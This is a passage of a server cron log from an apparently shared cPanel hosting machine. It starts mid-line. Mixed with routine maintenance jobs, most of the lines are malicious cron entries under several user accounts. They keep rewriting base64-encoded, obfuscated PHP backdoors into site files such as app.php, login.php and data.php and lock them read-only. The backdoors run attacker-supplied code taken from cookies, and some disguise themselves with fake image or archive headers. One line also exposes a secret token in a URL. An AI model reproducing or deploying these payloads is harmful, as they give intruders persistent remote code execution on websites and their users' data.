coNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:53:01 medusa CROND[28313]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:53:01 medusa CROND[28311]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:53:01 medusa CROND[28314]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:53:01 medusa CROND[28315]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:53:01 medusa CROND[28316]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 07:53:01 medusa CROND[28322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:53:01 medusa CROND[28331]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:54:01 medusa CROND[19958]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 07:54:02 medusa CROND[20039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:54:02 medusa CROND[20040]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:54:02 medusa CROND[20041]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:54:02 medusa CROND[20042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:54:02 medusa CROND[20045]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:54:02 medusa CROND[20046]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:54:02 medusa CROND[20047]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:54:02 medusa CROND[20048]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:54:02 medusa CROND[20049]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:54:02 medusa CROND[20050]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:54:02 medusa CROND[20051]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:54:02 medusa CROND[20060]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:55:01 medusa CROND[12051]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 07:55:01 medusa CROND[12059]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:55:01 medusa CROND[12226]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 07:55:01 medusa CROND[12228]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 07:55:01 medusa CROND[12229]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 07:55:01 medusa CROND[12231]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 07:55:01 medusa CROND[12232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:55:01 medusa CROND[12233]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:55:01 medusa CROND[12237]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 07:55:01 medusa CROND[12235]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 07:55:01 medusa CROND[12246]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:55:01 medusa CROND[12245]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
